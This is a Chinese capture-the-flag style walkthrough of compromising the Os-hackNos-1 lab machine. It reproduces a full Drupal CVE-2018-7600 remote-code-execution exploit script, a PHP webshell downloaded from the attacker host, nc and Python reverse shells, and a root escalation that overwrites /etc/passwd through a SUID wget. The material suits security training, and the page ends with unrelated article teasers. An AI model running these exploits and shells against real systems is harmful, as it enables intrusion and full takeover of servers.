Os-hackNos-1

Os-hackNos-1

一、主机发现和端口扫描

  • 主机发现

    arp-scan -l
    

    在这里插入图片描述

  • 端口扫描

    nmap -P 192.168.80.141
    

    在这里插入图片描述

二、信息收集

  • 访问80端口,可知目标是ubuntu系统,中间件是Apache

    在这里插入图片描述

  • 目录扫描,发现两个路径

    dirsearch -u http://192.168.80.141/ -e *
    

    在这里插入图片描述

  • index.html路径就是主页,接着访问/drupal

    在这里插入图片描述

  • 是一个Drupal搭建的CMS,继续进行路径扫描,有一个CHANGELOG.txt文档,可以看到版本为7.57

    dirsearch -u http://192.168.80.141/drupal -e *
    

    在这里插入图片描述

    在这里插入图片描述

三、漏洞挖掘

  • 根据版本号查询历史漏洞,发现存在CVE-2018-7600,直接使用该EXP

    https://github.com/pimps/CVE-2018-7600
    git clone https://github.com/pimps/CVE-2018-7600.git
    
    #!/usr/bin/env python3
    
    import requests
    import argparse
    from bs4 import BeautifulSoup
    
    def get_args():
      parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                        formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                        epilog= '''
                        This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                        by poisoning the recover password form (user/password) and triggering it with
                        the upload file via ajax (/file/ajax).
                        ''')
      parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
      parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
      parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
      parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
      args = parser.parse_args()
      return args
    
    def pwn_target(target, function, command, proxy):
      requests.packages.urllib3.disable_warnings()
      proxies = {'http': proxy, 'https': proxy}
      print('[*] Poisoning a form and including it in cache.')
      get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
      post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
      r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
      soup = BeautifulSoup(r.text, "html.parser")
      try:
        form = soup.find('form', {'id': 'user-pass'})
        form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
        if form_build_id:
            print('[*] Poisoned form ID: ' + form_build_id)
            print('[*] Triggering exploit to execute: ' + command)
            get_params = {'q':'file/ajax/name/#value/' + form_build_id}
            post_params = {'form_build_id':form_build_id}
            r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
            parsed_result = r.text.split('[{"command":"settings"')[0]
            print(parsed_result)
      except:
        print("ERROR: Something went wrong.")
        raise
    
    def main():
      print ()
      print ('=============================================================================')
      print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
      print ('|                              by pimps                                     |')
      print ('=============================================================================\n')
    
      args = get_args() # get the cl args
      pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
    
    
    if __name__ == '__main__':
      main()
    
  • 执行命令

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "whoami"
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "pwd"
    

    在这里插入图片描述

四、连接webshell

  • 在本地编写一个webshell,并开启http服务

    <?php system($_POST['glc']);?>
    

    在这里插入图片描述

  • 将webshell下载到目标靶机的网站目录下

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/shell.php"
    

    在这里插入图片描述

    在这里插入图片描述

  • 测试webshell是否连接成功

    在这里插入图片描述

五、反弹shell

  • 目标服务器存在nc命令,使用nc反弹shell

    glc=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.80.139+8848+>/tmp/f
    

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 也可以使用python反弹shell

    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.139",8848));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    在这里插入图片描述

    在这里插入图片描述

六、二次信息收集

  • 发现一个alexander.txt文件,对其进行base64解码

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
    

    在这里插入图片描述

    +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
    ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
    ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
    >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
    ++.<
    
  • 使用的是Brainfuck加密,进行Brainfuck解密

    Brainfuck解密网站:https://www.splitbrain.org/services/ook
    
    解密结果james:Hacker@4514
    

    在这里插入图片描述

  • 尝试ssh连接,但是密码不对

    ssh james@192.168.80.141
    

    在这里插入图片描述

  • 在home中找到james和其目录下的user.txt

    在这里插入图片描述

七、权限提升

  • suid提权,需要搜索到带有s的文件,开始查找

    find / -perm -u=s -type f 2>/dev/null
    

    在这里插入图片描述

  • 发现wget具有suid权限,而且普通用户可以执行,那么可以通过下载目标靶机上的passwd文件,然后添加一个有root权限的用户到passwd文件中,然后使用wget -O将内容重定向到目标靶机的/etc/passwd中

    cat /etc/passwd
    

    在这里插入图片描述

  • 在kali中生成密码

    openssl passwd -1 -salt glc 123456
    
    $1$glc$kuZClTRBy.K2I/O4p9kSJ1
    

    在这里插入图片描述

  • 将密码添加到我们构造的passwd文件中,然后下载重定向到/etc/passwd

    glc:$1$glc$kuZClTRBy.K2I/O4p9kSJ1:0:0:root:/root:/bin/bash
    
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/passwd -O /etc/passwd"
    

    在这里插入图片描述

  • 切换到glc用户

    su glc
    

    在这里插入图片描述

  • 因为su命令必须在终端中执行,所以我们使用转换成python执行终端命令

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    在这里插入图片描述

  • 结束

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/161682.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

VPN创建连接 提示错误 628: 在连接完成前,连接被远程计算机终止。

提示错误 628: 在连接完成前&#xff0c;连接被远程计算机终止。 需要把这个地址配置一下&#xff1a; VPN类型&#xff1a;点对点PPTP 数据加密&#xff1a;如果没有加密的话&#xff0c; 要把这个选一下。

这个双11,阿里云经历了可能是历史级的大故障!

2023年11月12日17&#xff1a;44开始&#xff0c;阿里云发生严重故障&#xff0c;导致阿里巴巴大量产品无法连接&#xff0c;一时间&#xff0c;“阿里云盘崩了”、“淘宝又崩了”、“闲鱼崩了”、“钉钉崩了”等话题相继登上热搜。 此外&#xff0c;像纳思云充电桩、乐爽coole…

初识Linux:目录的创建销毁

目录 ​编辑 提示&#xff1a;以下指令均在Xshell 7 中进行 零、桌面的本质 &#x1f4bb; 扩展&#x1f387;&#xff1a; 一、cd指令&#xff1a; 1、cd - &#xff1a; 2、cd ~&#xff1a; 重命名命令&#xff1a;alias 二、stat指令 冷知识&#xff1a; 如果…

Python编程技巧 – 对象和类

Python编程技巧 – 对象和类 Python Programming Skills – Object and Class Python是一种面向对象的高级程序语言。 本文简要介绍用Python如何实现面向对象&#xff0c;对象和类的声明及使用&#xff0c;以及面向对象的特征&#xff0c;及其如何使用属性和方法的介绍&#x…

Windows上搭建一个网站(基本生产环境)

前言 本博客记录的是Windows上一次网站搭建的过程&#xff0c;主要是在前端采用的是React&#xff0c;后端采用的是Flask&#xff0c;记录一下生产版本搭建流程和坑点&#xff0c;供有缘人一起进步&#xff0c;当然本博客还存在很多不足。 前端项目构建生产版本 以React为例…

IPv4数据报格式

IPv4是IP协议的第四个版本(版本1-3和版本5都未曾使用过)IP地址不能反映任何有关主机位置的地理信息以前还有个逆地址解析协议RAPR(Reverse APR)&#xff0c;它的作用是使只知道自己MAC地址的主机能通过RAPR找到其IP地址&#xff0c;而现在的DHCP(Dynamic Host Configuration Pr…

智慧城市指挥中心,大屏幕究竟有什么用?

目前很多地区有在兴建智慧城市的项目&#xff0c;其城市指挥中心内一般都建有一张巨大的屏幕&#xff0c;这张屏幕究竟有什么用&#xff1f;是否可以用普通的电脑显示器进行代替呢&#xff1f; 智慧城市指挥中心内的巨大屏幕是智慧城市项目中的重要组成部分&#xff0c;其作用不…

回溯算法(3)--n皇后问题及回溯法相关习题

一、n皇后问题 1、概述 n皇后要求在一个nn的棋盘上放置n个皇后&#xff0c;使得他们彼此不受攻击&#xff0c;皇后可以攻击同一行、同一列、同一斜线上的敌人&#xff0c;所以n皇后问题要求寻找在棋盘上放置这n个皇后的方案&#xff0c;使得任意两个皇后都不在同一行、同一列或…

​软考-高级-系统架构设计师教程(清华第2版)【第12章 信息系统架构设计理论与实践(P420~465)-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第12章 信息系统架构设计理论与实践&#xff08;P420~465&#xff09;-思维导图】 课本里章节里所有蓝色字体的思维导图

带您识别RJ45网口连接器/网口插座口的LED灯的平脚/斜脚,带弹/不带弹细节区分

Hqst华强盛&#xff08;盈盛电子&#xff09;导读&#xff1a;网口连接器,网口插座&#xff0c;也叫网口母座,因为产品规格众多&#xff0c;常常因为细小差别&#xff0c;耽误工程设计级或者生产排期延误&#xff0c;今天就带大家一起来认识下平脚RJ45网口连接器/网口插座与斜脚…

算法设计与分析 | 分治棋盘

题目 在一个2^k * 2^k个方格组成的棋盘中&#xff0c;恰有一个方格与其他方格不同&#xff0c;称该方格为一特殊方格&#xff0c;且称该棋盘为一特殊棋盘。在棋盘覆盖问题中&#xff0c;要用图示的4种不同形态的L型骨牌覆盖给定的特殊棋盘上除特殊方格以外的所有方格&#xff0…

【动态规划】求解编辑距离问题

目录 问题描述递推关系运行实例时空复杂度优化Hirschberg 算法 问题描述 编辑距离问题是求解将⼀个字符串转换为另⼀个字符串所需的插⼊、删除、替换的最小次数。 C O M M O M → s u b C O M M U M → s u b C O M M U N → i n s C O M M U N E \mathbb{COMMOM} \overset{sub…

macbook ntfs能读不能复制 c盘ntfs拒绝访问怎么解决

如果你是一位Mac用户&#xff0c;你可能会遇到这样的问题&#xff1a;你的Mac能够读取NTFS格式的移动硬盘或U盘&#xff0c;但是不能往里面复制或者修改文件。或者&#xff0c;你的Windows电脑出现了C盘NTFS拒绝访问的错误&#xff0c;导致你无法正常使用系统。这些问题都是由于…

【vue2绘制echarts环状图】vue2使用echarts绘制环状图

效果图&#xff1a; 鼠标悬浮的效果图&#xff1a; 1&#xff1a;安装echarts yarn add echarts5.3.2 或 npm install echarts5.3.2 --save2.局部引入使用 在vue页面引入 <template><div><divref"myChart"style"{width: 400px;height: 350…

VMware Workstation Pro 12 ubuntu 20.04 突然奔溃,重新打开后导致win11系统蓝屏问题

1、虚拟机在执行一个程序时候&#xff0c;突然导致系统win11蓝屏 2、重新打开提示磁盘打开异常&#xff0c;网络搜索发现要删除磁盘lock文件&#xff0c;删除后&#xff0c;重启过程中还是会报各种异常 后来把所有的临时文件都删除了&#xff0c;就可以了 临时文件&#xff1…

如何去开发一个springboot starter

如何去开发一个springboot starter 我们在平时用 Java 开发的时候&#xff0c;在 pom.xml 文件中引入一个依赖就可以很方便的使用了&#xff0c;但是你们知道这是如何实现的吗。 现在我们就来解决这一个问题&#xff01; 创建 SpringBoot 项目 首先我们要做的就是把你想要给别…

wpf devexpress 开始点

此教程示范如何创建registration form和DevExpress WPF Data Editors 开始点 此项目源码 这个解决方案包含几个项目-每一个项目对应一个教程 RegistrationForm.BaseProject项目是基于工作的解决方案。项目包含三个视图&#xff1a;MainView&#xff0c;RegistraionView&…

Os-ByteSec

Os-ByteSec 一、主机发现和端口扫描 主机发现&#xff0c;靶机地址192.168.80.144 端口扫描&#xff0c;开放了80、139、445、2525端口 二、信息收集 访问80端口 路径扫描 dirsearch -u "http://192.168.80.144/" -e *访问扫描出来的路径&#xff0c;没有发现…

IO流-序列化流

一&#xff0c;序列化&#xff08;把java对象写到对象中去&#xff09; 二&#xff0c; Object OutputStream(对象字节输出流) 三&#xff0c;案例 package BigDecimal;import java.io.FileOutputStream; import java.io.ObjectOutputStream;public class Main {public static…

​软考-高级-系统架构设计师教程(清华第2版)【第14章 云原生架构设计理论与实践(P496~526)-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第14章 云原生架构设计理论与实践&#xff08;P496~526&#xff09;-思维导图】 课本里章节里所有蓝色字体的思维导图